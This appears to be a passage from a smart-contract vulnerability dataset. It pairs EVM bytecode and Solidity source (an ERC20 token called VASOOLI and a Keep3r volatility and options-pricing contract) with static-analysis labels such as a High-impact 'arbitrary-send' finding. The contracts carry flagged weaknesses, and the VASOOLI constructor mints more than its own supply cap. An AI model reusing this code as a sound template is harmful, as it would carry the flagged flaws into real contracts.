2565b50806001600160a01b0316336001600160a01b03167f5291ece150597b5ce80e6d4bc19cec23d7e71e84e3a97e875718df3f7b671d318560405161041d9190611709565b60405180910390a350506000805460ff1916905550565b6000805460ff16156104585760405162461bcd60e51b81526004016100a3906115b5565b6000805460ff191660019081178083559054604051630939d86360e11b81526001600160a01b03610100909304831692631273b0c69261049f929116908990600401611536565b60206040518083038186803b1580156104b757600080fd5b505afa1580156104cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ef9190611432565b90506001600160a01b0381166105175760405162461bcd60e51b81526004016100a39061158d565b6040516306302ef960e21b81526001600160a01b038216906318c0bbe490610543908790600401611709565b60206040518083038186803b15801561055b57600080fd5b505afa15801561056f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059391906114a2565b91506105a08533846112dd565b6105ba6001600160a01b038616828463ffffffff6111de16565b60405163733e738360e11b81526001600160a01b0382169063e67ce706906105e89087908790600401611720565b602060405180830381600087803b15801561060257600080fd5b505af1158015610616573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063a91906114a2565b50600154604051632e1a7d4d60e01b81526001600160a01b0390911690632e1a7d4d9061066b908790600401611709565b600060405180830381600087803b15801561068557600080fd5b505af1158015610699573d6000803e3d6000fd5b505060405133925086156108fc02915086906000818181858888f193505050501580156106ca573d6000803e3d6000fd5b50846001600160a01b0316336001600160a01b03167fc10793e450d0cc4ab5809296cbbe082cc527cfee15b594fff08c28feab9445108685604051610710929190611712565b60405180910390a3506000805460ff191690559392505050565b6000805460ff161561074e5760405162461bcd60e51b81526004016100a3906115b5565b6000805460ff1916600117905534831461077a5760405162461bcd60e51b81526004016100a39061163b565b60008054600154604051630939d86360e11b81526001600160a01b03610100909304831692631273b0c6926107b6929116908990600401611536565b60206040518083038186803b1580156107ce57600080fd5b505afa1580156107e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108069190611432565b90506001600160a01b03811661082e5760405162461bcd60e51b81526004016100a39061158d565b600160009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0856040518263ffffffff1660e01b81526004016000604051808303818588803b15801561087e57600080fd5b505af1158015610892573d6000803e3d6000fd5b50506001546108b693506001600160a01b031691508390508663ffffffff6111de16565b604051638dae733360e01b81526001600160a01b03821690638dae7333906108e49087908790600401611720565b602060405180830381600087803b1580156108fe57600080fd5b505af1158015610912573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093691906114a2565b91506109438533846112f8565b846001600160a01b0316336001600160a01b03167f34c63d7d6781002b1198cf817783bf9d106eaf1e16c52994f4a75e6437dba5f98685604051610710929190611712565b6000805460ff16156109ac5760405162461bcd60e51b81526004016100a3906115b5565b6000805460ff191660019081178083559054604051630939d86360e11b81526001600160a01b03610100909304831692631273b0c6926109f3929116908790600401611536565b60206040518083038186803b158015610a0b57600080fd5b505afa158015610a1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a439190611432565b90506001600160a01b038116610a6b5760405162461bcd60e51b81526004016100a39061158d565b6000816001600160a01b031663d689107c6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610aa857600080fd5b505af1158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae09190611432565b90506000816001600160a01b03166370a08231336040518263ffffffff1660e01b8152600401610b109190611522565b60206040518083038186803b158015610b2857600080fd5b505afa158015610b3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6091906114a2565b9050610b7d6001600160a01b03831633308463ffffffff61131216565b60405163f98bea1560e01b81526001600160a01b0384169063f98bea1590610ba9908990600401611709565b602060405180830381600087803b158015610bc357600080fd5b505af1158015610bd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfb91906114a2565b506040516370a0823160e01b81526001600160a01b038316906370a0823190610c28903090600401611522565b60206040518083038186803b158015610c4057600080fd5b505afa158015610c54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7891906114a2565b9050610c946001600160a01b038316338363ffffffff61133916565b6001546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610cc5903090600401611522565b60206040518083038186803b158015610cdd57600080fd5b505afa158015610cf1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1591906114a2565b600154604051632e1a7d4d60e01b81529192506001600160a01b031690632e1a7d4d90610d46908490600401611709565b600060405180830381600087803b158015610d6057600080fd5b505af1158015610d74573d6000803e3d6000fd5b505060405133925083156108fc02915083906000818181858888f19350505050158015610da5573d6000803e3d6000fd5b50836001600160a01b0316336001600160a01b03167f7d205d2201ccbc0483539873bec8fdf5ba90453d947e361d213e7414003fd81d83604051610de99190611709565b60405180910390a36000805460ff191690559695505050505050565b6000805460ff1615610e295760405162461bcd60e51b81526004016100a3906115b5565b6000805460ff191660019081178083559054604051630939d86360e11b81526001600160a01b03610100909304831692631273b0c692610e70929116908790600401611536565b60206040518083038186803b158015610e8857600080fd5b505afa158015610e9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec09190611432565b90506001600160a01b038116610ee85760405162461bcd60e51b81526004016100a39061158d565b6000816001600160a01b031663d689107c6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610f2557600080fd5b505af1158015610f39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5d9190611432565b90506000816001600160a01b03166370a08231336040518263ffffffff1660e01b8152600401610f8d9190611522565b60206040518083038186803b158015610fa557600080fd5b505afa158015610fb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdd91906114a2565b9050610ffa6001600160a01b03831633308463ffffffff61131216565b826001600160a01b031663d47eaa376040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561103557600080fd5b505af1158015611049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106d91906114a2565b506001546040516370a0823160e01b81526000916001600160a01b0316906370a082319061109f903090600401611522565b60206040518083038186803b1580156110b757600080fd5b505afa1580156110cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ef91906114a2565b600154604051632e1a7d4d60e01b81529192506001600160a01b031690632e1a7d4d90611120908490600401611709565b600060405180830381600087803b15801561113a57600080fd5b505af115801561114e573d6000803e3d6000fd5b505060405133925083156108fc02915083906000818181858888f1935050505015801561117f573d6000803e3d6000fd5b50836001600160a01b0316336001600160a01b03167f7d205d2201ccbc0483539873bec8fdf5ba90453d947e361d213e7414003fd81d836040516111c39190611709565b60405180910390a36000805460ff1916905595945050505050565b8015806112665750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e906112149030908690600401611536565b60206040518083038186803b15801561122c57600080fd5b505afa158015611240573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126491906114a2565b155b6112825760405162461bcd60e51b81526004016100a3906116b3565b6112d88363095ea7b360e01b84846040516024016112a1929190611550565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611358565b505050565b6112d86001600160a01b03841683308463ffffffff61131216565b6112d86001600160a01b038416838363ffffffff61133916565b611333846323b872dd60e01b8585856040516024016112a193929190611569565b50505050565b6112d88363a9059cbb60e01b84846040516024016112a1929190611550565b60006060836001600160a01b03168360405161137491906114e9565b6000604051808303816000865af19150503d80600081146113b1576040519150601f19603f3d011682016040523d82523d6000602084013e6113b6565b606091505b5091509150816113d85760405162461bcd60e51b81526004016100a3906115d8565b80511561133357808060200190518101906113f39190611482565b6113335760405162461bcd60e51b81526004016100a390611669565b600060208284031215611420578081fd5b813561142b8161173d565b9392505050565b600060208284031215611443578081fd5b815161142b8161173d565b600080600060608486031215611462578182fd5b833561146d8161173d565b95602085013595506040909401359392505050565b600060208284031215611493578081fd5b8151801515811461142b578182fd5b6000602082840312156114b3578081fd5b5051919050565b600080604083850312156114cc578182fd5b8235915060208301356114de8161173d565b809150509250929050565b60008251815b8181101561150957602081860181015185830152016114ef565b818111156115175782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6020808252600e908201526d1113d113d7d393d517d1561254d560921b604082015260600190565b60208082526009908201526814915153951490539560ba1b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b60208082526014908201527357455f53415645445f594f55525f4554485f3a2960601b604082015260600190565b60208082526014908201527308aa890be829a9eaa9ca8be9c9ea8be9a82a886960631b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526036908201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60408201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b606082015260800190565b90815260200190565b918252602082015260400190565b918252602082015260606040820181905260009082015260800190565b6001600160a01b038116811461175257600080fd5b5056fea2646970667358221220b9eac20dfc1d4ad0139f976f9ff12e9ffdf58ca88e1b0c2f89957c24df67e5bd64736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,773 |
0xadbaf9285a8caecbde0a4ca456e855daf11fde7e
|
/**
*Submitted for verification at Etherscan.io on 2020-09-01
*/
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
require(_totalSupply <= 1e23, "_totalSupply exceed hard limit");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract VASOOLI is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("VASOOLI", "VSL", 18) {
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 1e24);
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
}
|
0x73adbaf9285a8caecbde0a4ca456e855daf11fde7e30146080604052600080fdfea265627a7a72315820668f30bd4cb5dfd5d9a408c20b9a256ca1006c8e8c47e14370149f6bf98ef4df64736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 3,774 |
0xb6467bf6c8d2c4d76a76fc9ce1d75e9ffb404822
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IKeep3rV1Oracle {
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory);
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut);
}
interface IERC20 {
function decimals() external view returns (uint);
}
contract Keep3rV1Volatility {
uint private constant FIXED_1 = 0x080000000000000000000000000000000;
uint private constant FIXED_2 = 0x100000000000000000000000000000000;
uint private constant SQRT_1 = 13043817825332782212;
uint private constant LNX = 3988425491;
uint private constant LOG_10_2 = 3010299957;
uint private constant LOG_E_2 = 6931471806;
uint private constant BASE = 1e10;
IKeep3rV1Oracle public constant KV1O = IKeep3rV1Oracle(0x73353801921417F465377c8d898c6f4C0270282C);
address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
function floorLog2(uint256 _n) public pure returns (uint8) {
uint8 res = 0;
if (_n < 256) {
// At most 8 iterations
while (_n > 1) {
_n >>= 1;
res += 1;
}
} else {
// Exactly 8 iterations
for (uint8 s = 128; s > 0; s >>= 1) {
if (_n >= (uint(1) << s)) {
_n >>= s;
res |= s;
}
}
}
return res;
}
function ln(uint256 x) public pure returns (uint) {
uint res = 0;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = 127; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += uint(1) << (i - 1);
}
}
}
return res * LOG_E_2 / BASE;
}
/**
* @dev computes e ^ (x / FIXED_1) * FIXED_1
* input range: 0 <= x <= OPT_EXP_MAX_VAL - 1
* auto-generated via 'PrintFunctionOptimalExp.py'
* Detailed description:
* - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible
* - The exponentiation of each binary exponent is given (pre-calculated)
* - The exponentiation of r is calculated via Taylor series for e^x, where x = r
* - The exponentiation of the input is calculated by multiplying the intermediate results above
* - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859
*/
function optimalExp(uint256 x) public pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3)
z = (z * y) / FIXED_1;
res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!)
z = (z * y) / FIXED_1;
res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!)
z = (z * y) / FIXED_1;
res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!)
z = (z * y) / FIXED_1;
res += z * 0x004807432bc18000; // add y^05 * (20! / 05!)
z = (z * y) / FIXED_1;
res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!)
z = (z * y) / FIXED_1;
res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!)
z = (z * y) / FIXED_1;
res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!)
z = (z * y) / FIXED_1;
res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!)
z = (z * y) / FIXED_1;
res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!)
z = (z * y) / FIXED_1;
res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!)
z = (z * y) / FIXED_1;
res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!)
z = (z * y) / FIXED_1;
res += z * 0x0000000017499f00; // add y^13 * (20! / 13!)
z = (z * y) / FIXED_1;
res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!)
z = (z * y) / FIXED_1;
res += z * 0x00000000001c6380; // add y^15 * (20! / 15!)
z = (z * y) / FIXED_1;
res += z * 0x000000000001c638; // add y^16 * (20! / 16!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!)
z = (z * y) / FIXED_1;
res += z * 0x000000000000017c; // add y^18 * (20! / 18!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000014; // add y^19 * (20! / 19!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000001; // add y^20 * (20! / 20!)
res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0!
if ((x & 0x010000000000000000000000000000000) != 0)
res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3)
if ((x & 0x020000000000000000000000000000000) != 0)
res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2)
if ((x & 0x040000000000000000000000000000000) != 0)
res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1)
if ((x & 0x080000000000000000000000000000000) != 0)
res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0)
if ((x & 0x100000000000000000000000000000000) != 0)
res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1)
if ((x & 0x200000000000000000000000000000000) != 0)
res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2)
if ((x & 0x400000000000000000000000000000000) != 0)
res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3)
return res;
}
function quote(address tokenIn, address tokenOut, uint t) public view returns (uint call, uint put) {
uint _price = price(tokenIn, tokenOut);
return quotePrice(tokenIn, WETH, t, _price, _price);
}
function price(address tokenIn, address tokenOut) public view returns (uint) {
if (tokenIn == WETH) {
return KV1O.current(WETH, 1e18, tokenOut);
} else {
uint _weth = KV1O.current(tokenIn, uint(10)**IERC20(tokenIn).decimals(), WETH);
return KV1O.current(WETH, _weth, tokenOut);
}
}
function quotePrice(address tokenIn, address tokenOut, uint t, uint sp, uint st) public view returns (uint call, uint put) {
uint v = rVol(tokenIn, tokenOut, 4, 24);
return quoteAll(t, v, sp, st);
}
function quoteAll(uint t, uint v, uint sp, uint st) public pure returns (uint call, uint put) {
uint _c;
uint _p;
if (sp > st) {
_c = C(t, v, sp, st);
_p = st-sp+_c;
} else {
_p = C(t, v, st, sp);
_c = st-sp+_p;
}
return (_c, _p);
}
function C(uint t, uint v, uint sp, uint st) public pure returns (uint) {
if (sp == st) {
return LNX * sp / 1e10 * v / 1e18 * sqrt(1e18 * t / 365) / 1e9;
}
uint sigma = ((v**2)/2);
uint sigmaB = 1e36;
uint sig = 1e18 * sigma / sigmaB * t / 365;
uint sSQRT = v * sqrt(1e18 * t / 365) / 1e9;
uint d1 = 1e18 * ln(FIXED_1 * sp / st) / FIXED_1;
d1 = (d1 + sig) * 1e18 / sSQRT;
uint d2 = d1 - sSQRT;
uint cdfD1 = ncdf(FIXED_1 * d1 / 1e18);
uint cdfD2 = cdf(int(FIXED_1) * int(d2) / 1e18);
return sp * cdfD1 / 1e14 - st * cdfD2 / 1e14;
}
function ncdf(uint x) public pure returns (uint) {
int t1 = int(1e7 + (2315419 * x / FIXED_1));
uint exp = x / 2 * x / FIXED_1;
int d = int(3989423 * FIXED_1 / optimalExp(uint(exp)));
uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1);
if( x > 0 ) prob = 1e14 - prob;
return prob;
}
/**
* @notice Takes the absolute value of a given number
* @dev Helper function
* @param _number The specified number
* @return The absolute value of the number
*/
function abs(int256 _number) public pure returns (uint256) {
return _number < 0 ? uint256(_number * (-1)) : uint256(_number);
}
function cdf(int x) public pure returns (uint) {
int t1 = int(1e7 + int(2315419 * abs(x) / FIXED_1));
uint exp = uint(x / 2 * x) / FIXED_1;
int d = int(3989423 * FIXED_1 / optimalExp(uint(exp)));
uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1);
if( x > 0 ) prob = 1e14 - prob;
return prob;
}
function generalLog(uint256 x) public pure returns (uint) {
uint res = 0;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = 127; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += uint(1) << (i - 1);
}
}
}
return res * LOG_10_2 / BASE;
}
function sqrt(uint x) public pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function vol(uint[] memory p) public pure returns (uint x) {
for (uint8 i = 1; i <= (p.length-1); i++) {
x += ((generalLog(p[i] * FIXED_1) - generalLog(p[i-1] * FIXED_1)))**2;
//denom += FIXED_1**2;
}
//return (sum, denom);
x = sqrt(uint(252) * sqrt(x / (p.length-1)));
return uint(1e18) * x / SQRT_1;
}
function rVol(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint) {
return vol(KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window));
}
function rVolHourly(address tokenIn, address tokenOut, uint points) external view returns (uint) {
return rVol(tokenIn, tokenOut, points, 2);
}
function rVolDaily(address tokenIn, address tokenOut, uint points) external view returns (uint) {
return rVol(tokenIn, tokenOut, points, 48);
}
function rVolWeekly(address tokenIn, address tokenOut, uint points) external view returns (uint) {
return rVol(tokenIn, tokenOut, points, 336);
}
function rVolHourlyRecent(address tokenIn, address tokenOut) external view returns (uint) {
return rVol(tokenIn, tokenOut, 2, 2);
}
function rVolDailyRecent(address tokenIn, address tokenOut) external view returns (uint) {
return rVol(tokenIn, tokenOut, 2, 48);
}
function rVolWeeklyRecent(address tokenIn, address tokenOut) external view returns (uint) {
return rVol(tokenIn, tokenOut, 2, 336);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806365c3c2b4116100c3578063b64663841161007c578063b64663841461049a578063c6a51535146104d0578063c801e06714610506578063d0b71b1e1461053c578063d3442edf14610559578063e031d453146105885761014d565b806365c3c2b414610363578063677342ce146103915780637f8290d0146103ae578063892f82f0146103d25780639505086214610475578063ad5c4648146104925761014d565b80632b00490d116101155780632b00490d146102445780632b9432a8146102725780633394f9ed146102a15780633a6fdf47146102d757806345b8bafc146103135780634c3eea9e146103465761014d565b80630969e8db146101525780630e755974146101ad578063101c5422146101ed5780631b5ac4b51461020a57806324d4e90a14610227575b600080fd5b610194600480360360a081101561016857600080fd5b506001600160a01b038135811691602081013590911690604081013590606081013590608001356105b6565b6040805192835260208301919091528051918290030190f35b6101db600480360360408110156101c357600080fd5b506001600160a01b03813581169160200135166105e6565b60408051918252519081900360200190f35b6101db6004803603602081101561020357600080fd5b5035610600565b6101db6004803603602081101561022057600080fd5b50356106ce565b6101db6004803603602081101561023d57600080fd5b50356106e4565b6101db6004803603604081101561025a57600080fd5b506001600160a01b038135811691602001351661077a565b6101946004803603608081101561028857600080fd5b5080359060208101359060408101359060600135610a2b565b6101db600480360360608110156102b757600080fd5b506001600160a01b03813581169160208101359091169060400135610a75565b6101db600480360360808110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135610a8c565b6103306004803603602081101561032957600080fd5b5035610c4f565b6040805160ff9092168252519081900360200190f35b6101db6004803603602081101561035c57600080fd5b5035610cb0565b6101db6004803603604081101561037957600080fd5b506001600160a01b0381358116916020013516610d3f565b6101db600480360360208110156103a757600080fd5b5035610d4e565b6103b6610d85565b604080516001600160a01b039092168252519081900360200190f35b6101db600480360360208110156103e857600080fd5b81019060208101813564010000000081111561040357600080fd5b82018360208201111561041557600080fd5b8035906020019184602083028401116401000000008311171561043757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d9d945050505050565b6101db6004803603602081101561048b57600080fd5b5035610e3e565b6103b66111e2565b610194600480360360608110156104b057600080fd5b506001600160a01b038135811691602081013590911690604001356111fa565b6101db600480360360608110156104e657600080fd5b506001600160a01b03813581169160208101359091169060400135611239565b6101db6004803603606081101561051c57600080fd5b506001600160a01b03813581169160208101359091169060400135611248565b6101db6004803603602081101561055257600080fd5b5035611258565b6101db6004803603608081101561056f57600080fd5b5080359060208101359060408101359060600135611337565b6101db6004803603604081101561059e57600080fd5b506001600160a01b038135811691602001351661148d565b60008060006105c9888860046018610a8c565b90506105d786828787610a2b565b92509250509550959350505050565b60006105f783836002610150610a8c565b90505b92915050565b6000806001607f1b6223549b8402046298968001905060006001607f1b846002868161062857fe5b04028161063157fe5b049050600061063f82610e3e565b623cdfaf607f1b8161064d57fe5b049050600083848586876578fcdaec22008161066